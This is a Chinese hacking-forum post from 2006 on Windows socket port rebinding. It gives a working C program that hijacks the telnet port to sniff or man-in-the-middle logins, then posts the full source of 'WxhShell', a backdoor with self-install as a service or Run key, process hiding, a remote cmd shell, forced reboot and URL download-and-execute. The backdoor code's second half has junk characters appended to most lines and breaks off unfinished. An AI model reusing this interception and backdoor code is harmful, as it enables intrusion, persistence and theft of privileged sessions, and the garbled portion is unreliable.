[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; N J:]jd
if(chr[0]==0xd || chr[0]==0xa) { k#`.!yI,
pwd=0; O]w&uim
break; Q@%VJPLv.
} AQ. Y-'\t
i++; `d6 {Tli
} ~$#DB@b
f[ GH
// 如果是非法用户，关闭 socket MUz.-YRt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oLk>|J
} a}`4BMi3
UY j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JI )+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Y@6oT
gj\r>~S
while(1) { ;3Fgy8T
eB/3MUz1
ZeroMemory(cmd,KEY_BUFF); VJD$nh #M5
k]Y+C@g
// 自动支持客户端 telnet标准 >!A&@1[M
j=0; !l~tBJr*sB
while(j<KEY_BUFF) { 8gJ"7,}-'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?nrd$,
cmd[j]=chr[0]; ^C>i(j&
if(chr[0]==0xa || chr[0]==0xd) { Lcplc"C
cmd[j]=0; 9C[3w[G~C
break; dGQxGt1
} 8^p/?R^bu
j++; ^SxB b,\
} eznw05U
xZtA) Bp
// 下载文件 6VolTy@(x
if(strstr(cmd,"http://")) { cg7NtY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); JoKD6Q1D
if(DownloadFile(cmd,wsh)) 1mL--m'r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nol',^)
else $rs7D}VNc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{]Tb=
} m^U\l9LE
else { )8ctNpQt
b'Z#RIb
switch(cmd[0]) { _.J{U0N
^w^cYM,
// 帮助 W6&".2
case '?': { [:a;|t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :~:(49l
break; Y1{6lhxgE
} E8jdQS|i
// 安装 &AGV0{NMh]
case 'i': { vkE6e6,Qc
if(Install()) "<3PyW?zt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^O#,%>1J
else y2\, L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T9{94Ra
break; "FcA:7+
} *ky5SM(NR
// 卸载 qOZe\<.V<
case 'r': { '68{dyFZL
if(Uninstall()) 7R<<}dA]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4xT(Uj
else PQ@(p%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [rU8%
break; ?.|qRzWL
} vrGRZa
// 显示 wxhshell 所在路径 @s2z/h0H
case 'p': { y M , hF
char svExeFile[MAX_PATH]; |w6:mtaS
strcpy(svExeFile,"\n\r"); +H/^RvUjF
strcat(svExeFile,ExeFile); !s\-i6S>
send(wsh,svExeFile,strlen(svExeFile),0); @`$8rck`
break; Eo)Q> AM
} ~8`r.1aUO
// 重启 e_g7E+6
case 'b': { *M/3 1qI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FlD !?
if(Boot(REBOOT)) Wh(V?!^@5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2<fG= I8
else { ?b2"~A
closesocket(wsh); -nN}8&l
ExitThread(0); s4;SA
} q3T'rw%Eh
break; ?5'UrqYSW
} <bXfjj6YJ@
// 关机 mcb0%
case 'd': { >\^:xxTf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P et0yH
if(Boot(SHUTDOWN)) _4owxYSDke
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <2diO=
else { %1@+pf/
closesocket(wsh); GasIOPzK
ExitThread(0); d;:+Xd`
} b0tr)>d
break; ;-n+=@]7
} mxq'A
// 获取shell 3Q~ng2Wv%
case 's': { n_)d4d zl
CmdShell(wsh); -"\z|OQ
closesocket(wsh); bf'@sh%W
ExitThread(0); /AjGj*O
break; Q6RBZucv
} kE UfQLbn
// 退出 Goz9"yazg
case 'x': { ;?yd;GOt)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "[BuQ0(g
CloseIt(wsh); Kv{i_%j
break; w \i#
} 9@Cqg5Kx'
// 离开 -1:yqF.x
case 'q': { $vTU|o>|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pd%o6~_*
closesocket(wsh); -_%n\#
WSACleanup(); &( b\jyf
exit(1); wP+wA}SN
break; BB|w-W=Kd
} + 3aAL&
} 4rw<C07Z
} ^WVH z;
(4>k+ H
// 提示信息 j Bl I^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +g/y)]AP
} |B;:Ald
} {E@Vh
kRTT ~
return; X@\rg}kP
} x!tCK47Yq
[wjA8d.
// shell模块句柄 L@ql)Lc);
int CmdShell(SOCKET sock) H--(zxK
{ ,-vbR&
STARTUPINFO si; RoJ{ ou@cs
ZeroMemory(&si,sizeof(si)); &`Z>zT}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^bexXYh
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W.HM!HQp
PROCESS_INFORMATION ProcessInfo; ,+oQ 5c(f
char cmdline[]="cmd"; Hb#8?{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mf<Pms\F
return 0; <FRYt-+
} bfQ+}|;
WDP$w(M
// 自身启动模式 t1 OnA#]/_
int StartFromService(void) *<i { Mb Q
{ vc^qpOk
typedef struct SYw>P1
{ u1~H1 ]Ii
DWORD ExitStatus; ss-{l+Z5
DWORD PebBaseAddress; "/S-+Ufn
DWORD AffinityMask; 2pQ zT
DWORD BasePriority; 38tRb"3zP
ULONG UniqueProcessId; dK#:io[Nz
ULONG InheritedFromUniqueProcessId; HKP<=<8/O
} PROCESS_BASIC_INFORMATION; h&{9 &D1t
,*+F*:o(m
PROCNTQSIP NtQueryInformationProcess; [as\>@o
]KA|};>ow
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^$FHI_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AcwLs%'sx
f2`[skNj
HANDLE hProcess; dli?/U@hO
PROCESS_BASIC_INFORMATION pbi; Ww{bh-nyq
,?3r-bM
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lSPQXu*[
if(NULL == hInst ) return 0; [GyW1-p33w
YiTiJ9jf
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \3"4;fM!i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }:])1!a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;/XWX$G@
"@xI
if (!NtQueryInformationProcess) return 0; X/}kNW!q
r,cV(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z{wJQZ9"
if(!hProcess) return 0; Nz'fMdaX,
pi*cO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pV9$Vg?-H
`+CRUdr
CloseHandle(hProcess); B36_OH
",k"c}3G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yTm/P!1S
if(hProcess==NULL) return 0; 2`9e20
7v]>ID
HMODULE hMod; 5V':3o;D__
char procName[255]; <~X4&E]rT_
unsigned long cbNeeded; ,6=j'j1#a
e4fh<0gX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2-s ,PQno^
66(|3DX
CloseHandle(hProcess); i+ ]3J/J
*39Y1+=)$$
if(strstr(procName,"services")) return 1; // 以服务启动 3+%a
)"/.2S;
return 0; // 注册表启动 v-B{7 ~=#Z
} mSm:>hBd
8oK*NB29
// 主模块 ?1T)cd*
int StartWxhshell(LPSTR lpCmdLine) j^;f {0f
{ oCg|* c|+
SOCKET wsl; JfGU3d*c
BOOL val=TRUE; -GJ~xcf0
int port=0; 84j6.\,
struct sockaddr_in door; Z@2^> eC
O{R)0&
if(wscfg.ws_autoins) Install(); [3lAKI
`d2 r5*<
port=atoi(lpCmdLine); %CV@FdB
4 3V{q
if(port<=0) port=wscfg.ws_port; & Xm!i(i
<'N"GLJ
WSADATA data; }$iKz*nx|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?l/VCEZP
lHerEv<ja
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O?L6Ues
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L{1MyR7`I+
door.sin_family = AF_INET; q4=Gj`\43
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `k2YH?
door.sin_port = htons(port); f8E,.$>
iY?J3nxD-:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f@yInIzRJ
closesocket(wsl); WVyk?SBw
return 1; VUnO&zV{
} _^w&k{T
{P')$f)
if(listen(wsl,2) == INVALID_SOCKET) { G%ytp=N
closesocket(wsl); ~8:q-m_h
return 1; dDYD6
} Y\75cfD
Wxhshell(wsl); TS4Yzq,f
WSACleanup(); lt08 E2p9
^%ZbjJ7|j
return 0; IJ\4S
^x2zMB\t
} "QSmxr
" b3-'/&
// 以NT服务方式启动 WN#S%G:Q)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U/}YpLgdD
{ V3D`pt\[x
DWORD status = 0; u+EZ"p;o
DWORD specificError = 0xfffffff; xnP@h
3D 4-Wo4
serviceStatus.dwServiceType = SERVICE_WIN32; (%~^Kmfb0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $ /`X7a{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3fGL(5|_
serviceStatus.dwWin32ExitCode = 0; !aQb Kp
serviceStatus.dwServiceSpecificExitCode = 0; AS4mJ UU9
serviceStatus.dwCheckPoint = 0; 4}4cA\B:n
serviceStatus.dwWaitHint = 0; tE'^O< K
DpQ\q;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =T!eyGE
if (hServiceStatusHandle==0) return; 59Lc-JJ
p{|!LcSU$2
status = GetLastError(); W_.WMbT
if (status!=NO_ERROR) <qGxkV
{ 56w uk [)
serviceStatus.dwCurrentState = SERVICE_STOPPED; W{A4*{
serviceStatus.dwCheckPoint = 0; J4?i\wD:
serviceStatus.dwWaitHint = 0; Mh"X9-Ot
serviceStatus.dwWin32ExitCode = status; 6a}
serviceStatus.dwServiceSpecificExitCode = specificError; GHNw.<`l?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }fO+b5U
return; #ZkT![`
} !,lk>j.V
9]C%2!Ur,
serviceStatus.dwCurrentState = SERVICE_RUNNING; B/O0 ~y!n
serviceStatus.dwCheckPoint = 0; "w&IO}j;=
serviceStatus.dwWaitHint = 0; Oh# z zo
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |xawguJ
} )_n=it$
&cGa~#-u
// 处理NT服务事件，比如：启动、停止 |PtfG2Ty?
VOID WINAPI NTServiceHandler(DWORD fdwControl) %lq[,6?>5
{ 9Js+*,t
switch(fdwControl) w)N~u%
{ 9U>OeTh(
case SERVICE_CONTROL_STOP: )Cu2xRr^`
serviceStatus.dwWin32ExitCode = 0; ff&jR71E
serviceStatus.dwCurrentState = SERVICE_STOPPED; -wa"&Q
serviceStatus.dwCheckPoint = 0; @yM$Et5
serviceStatus.dwWaitHint = 0; R_^0Un([
{ +Jm~Um!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NC%96gfD
} 60TM!\
return; <$(y6+lY
case SERVICE_CONTROL_PAUSE: }1 ,\*)5
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]sTbEw.[
break; s<>d&W 0=
case SERVICE_CONTROL_CONTINUE: qCkC2Fy(
serviceStatus.dwCurrentState = SERVICE_RUNNING; ZyM7)!+kPa
break; 'B:8tv
case SERVICE_CONTROL_INTERROGATE: (/7b8)g
break; o_8Wnx^
}; {oSdVRI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6l'J!4*qY
} U ,NGV0
YdDP;, DA
// 标准应用程序主函数 VBUrtx:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GQ(*k)'a
{ \sz*M B
C(8VXtx_
// 获取操作系统版本 O^J=19Ri
OsIsNt=GetOsVer(); d.|*sZ&3p
GetModuleFileName(NULL,ExeFile,MAX_PATH); e%s1D
AL!ppi
// 从命令行安装 sZI"2[bk
if(strpbrk(lpCmdLine,"iI")) Install(); 'ZJb`
EXMW,
// 下载执行文件 Q6T"8K/
if(wscfg.ws_downexe) { Fr~\ZL
